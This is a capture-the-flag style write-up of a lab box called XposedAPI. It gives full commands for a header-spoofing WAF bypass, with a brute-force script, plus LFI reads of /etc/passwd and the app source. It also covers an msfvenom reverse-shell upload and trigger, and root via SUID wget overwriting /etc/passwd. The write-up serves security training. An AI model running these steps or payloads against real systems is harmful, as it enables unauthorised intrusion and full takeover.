XposedAPI
This is one box that I found the official walkthrough is a little bit ambiguous after I finished it. The guess work on the request method to trigger the payload is too much of a guess work (maybe just for me :D).
So I present my own write up to clear things up a little.
I don't wanna switch between input methods, so, english only.
Overview
Only two ports are open on the box, 22 and 13337. 22 running standard SSH service, nothing there. 13337 running gunicorn 20.0.4. Visiting the website is going to show a bunch of API endpoint with corresponding usage.
First we discover an LFI. Then through a bunch of sensitive file requests, we successfully obtained the source code of the app and a valid username. Then, use the upload function to upload our reverse shell payload. Then read the source code and trigger the payload to get the shell.
Privilege escalation is straight forward. The first thing you land on a box is to download linPeas.sh to the box, of course, 99.9999% of the time, using wget. When the file is downloaded, you notice that you cannot add execute bit to the file. Checking the files owner would be root. So, wget is an SUID executable. Just search Gtfobins to get root access.
Let's go.
Enumeration
Ports Open | 22, 13337 |
---|
HTTP Port 80
Home Page
PORT STATE SERVICE REASON VERSION
13337/tcp open http syn-ack ttl 63 Gunicorn 20.0.4
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-server-header: gunicorn/20.0.4
|_http-title: Remote Software Management API
Foothold
If no authentication, I can upload reverse shell.
Got invalid username. Have to find a username first.
➜ XposedAPI curl -v -X POST -d '{"user": "opr", "url": "http://192.168.49.245:22/cleanup"}' -H "Content-Type: application/json" http://192.168.245.134:13337/update
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 192.168.245.134:13337...
* Connected to 192.168.245.134 (192.168.245.134) port 13337 (#0)
> POST /update HTTP/1.1
> Host: 192.168.245.134:13337
> User-Agent: curl/7.83.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 58
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: gunicorn/20.0.4
< Date: Tue, 24 May 2022 12:05:10 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 17
<
* Closing connection 0
Invalid username.
Check other endpoints.
/logs
Specify X-Forwarded-For: 127.0.0.1 and try.
I have a little script here that can brute force other bypass headers.
Just paste GET request from burpsuite into _HEADERHERE part, and modify host and port down below as needed.
import requests
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def parse_header(header_string):
raw_hdr_lst = header_string.split('\n')
raw_hdr_lst = raw_hdr_lst[2:-1]
hdr_dict = {}
for idx, hdr in enumerate(raw_hdr_lst):
key, value = hdr.strip().split(':', 1)
value = value.strip()
hdr_dict[key] = value
return hdr_dict
raw_hdr_str = '''
_HEADER_HERE_
'''
brute_hdrs = '''
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
'''
brute_lst = brute_hdrs.split('\n')
brute_lst = brute_lst[1:-1]
requests.packages.urllib3.disable_warnings()
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
raw_headers = parse_header(raw_hdr_str)
for hdr in brute_lst:
key, value = hdr.strip().split(':', 1)
value = value.strip()
headers = dict(raw_headers)
headers[key] = value
print(f'[*]Trying bypass header: "{key}: {value}"...')
r = requests.get('_HOST_HERE_', headers=headers, proxies=proxies,
verify=False)
if r.status_code != 403:
print(bcolors.OKGREEN + f'[+]Positive bypass header found: {key}: {value}' + bcolors.ENDC)
print(bcolors.FAIL + '[-]No bypass found...' + bcolors.ENDC)
And the response may indicate an LFI.
HTTP/1.1 404 NOT FOUND
Server: gunicorn/20.0.4
Date: Tue, 24 May 2022 12:07:11 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 73
Error! No file specified. Use file=/path/to/log/file to access log files.
Specify file as /etc/passwd
Got usernames
root:x:0:0:root:/root:/bin/bash
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh
Now I can upload the malicious payload.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.245 LPORT=22 -f elf -o cleanup
➜ XposedAPI curl -v -X POST -d '{"user": "clumsyadmin", "url": "http://192.168.49.245:22/cleanup"}' -H "Content-Type: application/json" http://192.168.245.134:13337/update
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 192.168.245.134:13337...
* Connected to 192.168.245.134 (192.168.245.134) port 13337 (#0)
> POST /update HTTP/1.1
> Host: 192.168.245.134:13337
> User-Agent: curl/7.83.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 66
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: gunicorn/20.0.4
< Date: Tue, 24 May 2022 12:10:02 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 81
<
* Closing connection 0
Update requested by clumsyadmin. Restart the software for changes to take effect.
Restart the server to trigger the payload as instructed.
➜ XposedAPI curl -v http://192.168.245.134:13337/restart
* Trying 192.168.245.134:13337...
* Connected to 192.168.245.134 (192.168.245.134) port 13337 (#0)
> GET /restart HTTP/1.1
> Host: 192.168.245.134:13337
> User-Agent: curl/7.83.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: gunicorn/20.0.4
< Date: Tue, 24 May 2022 12:10:51 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 563
<
<html>
<head>
<title>Remote Service Software Management API</title>
<script>
function restart(){
if(confirm("Do you really want to restart the app?")){
var x = new XMLHttpRequest();
x.open("POST", document.URL.toString());
x.send('{"confirm":"true"}');
window.location.assign(window.location.origin.toString());
}
}
</script>
</head>
<body>
<script>restart()</script>
</body>
* Closing connection 0
</html>
We may have a prompt. Let’s use browser.
Click OK.
Not working.
Gunicorn is python app.
Let’s check cmdline first
GET /logs?file=/proc/self/cmdline HTTP/1.1
Host: 192.168.245.134:13337
X-Forwarded-For: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
No cwd info. Retruned 500 internal server error. Weird.
Get environment var.
GET /logs?file=/proc/self/environ HTTP/1.1
Host: 192.168.245.134:13337
X-Forwarded-For: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
So, location of the app is in /home/clumsyadmin/webapp
Let’s get the source code.
curl -H "X-Forwarded-For: 127.0.0.1" http://192.168.245.134:13337/logs?file=/home/clumsyadmin/webapp/main.py -o main.py
#!/usr/bin/env python3
from flask import Flask, jsonify, request, render_template, Response
from Crypto.Hash import MD5
import json, os, binascii
app = Flask(__name__)
@app.route('/')
def home():
return(render_template("home.html"))
@app.route('/update', methods = ["POST"])
def update():
if request.headers['Content-Type'] != "application/json":
return("Invalid content type.")
else:
data = json.loads(request.data)
if data['user'] != "clumsyadmin":
return("Invalid username.")
else:
os.system("curl {} -o /home/clumsyadmin/app".format(data['url']))
return("Update requested by {}. Restart the software for changes to take effect.".format(data['user']))
@app.route('/logs')
def readlogs():
if request.headers.getlist("X-Forwarded-For"):
ip = request.headers.getlist("X-Forwarded-For")[0]
else:
ip = "1.3.3.7"
if ip == "localhost" or ip == "127.0.0.1":
if request.args.get("file") == None:
return("Error! No file specified. Use file=/path/to/log/file to access log files.", 404)
else:
data = ''
with open(request.args.get("file"), 'r') as f:
data = f.read()
f.close()
return(render_template("logs.html", data=data))
else:
return("WAF: Access Denied for this Host.",403)
@app.route('/version')
def version():
hasher = MD5.new()
appHash = ''
with open("/home/clumsyadmin/app", 'rb') as f:
d = f.read()
hasher.update(d)
appHash = binascii.hexlify(hasher.digest()).decode()
return("1.0.0b{}".format(appHash))
@app.route('/restart', methods = ["GET", "POST"])
def restart():
if request.method == "GET":
return(render_template("restart.html"))
else:
os.system("killall app")
os.system("bash -c '/home/clumsyadmin/app&'")
return("Restart Successful.")
Pay attention to the last part def retart()
. When restart, the script is going to execute an executable named app
. And, to trigger actual restart, POST method must be used.
Rename payload to app
.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.245 LPORT=13337 -f elf -o app
Upload
curl -v -X POST -d '{"user": "clumsyadmin", "url": "http://192.168.49.245:22/app"}' -H "Content-Type: application/json" http://192.168.245.134:13337/update
➜ XposedAPI curl -v -X POST -d '{"user": "clumsyadmin", "url": "http://192.168.49.245:22/app"}' -H "Content-Type: application/json" http://192.168.245.134:13337/update
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 192.168.245.134:13337...
* Connected to 192.168.245.134 (192.168.245.134) port 13337 (#0)
> POST /update HTTP/1.1
> Host: 192.168.245.134:13337
> User-Agent: curl/7.83.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 62
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: gunicorn/20.0.4
< Date: Tue, 24 May 2022 12:49:08 GMT
< Connection: close
< Content-Type: text/html; charset=utf-8
< Content-Length: 81
<
* Closing connection 0
Update requested by clumsyadmin. Restart the software for changes to take effect.
Restart app
curl -v -X POST http://192.168.245.134:13337/restart
Got shell
PE
I wanna get my nix.sh script to target to do some basic enum. But when I downloaded it, changing it’s permission (+x) failed. Checking the file, its owner is root.
Interesting.
wget may have suid set.
Yes it is.
Just root with overwriting the /etc/passwd file.
sudo install -m =xs $(which wget) .
URL=http://attacker.com/file_to_get
LFILE=file_to_save
./wget $URL -O $LFILE
Let’s add a user to passwd, and download to /etc/passwd to overwrite.
New passwd.
...
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/sh
woohoo:SwxWnKXXeF1gs:0:0:root:/root:/bin/sh
Download it.
wget 192.168.49.245:22/passwd -O /etc/passwd
That’s it. The logic to trigger the payload is the beauty of this box.
Hope it helps.
Keep calm and hack away…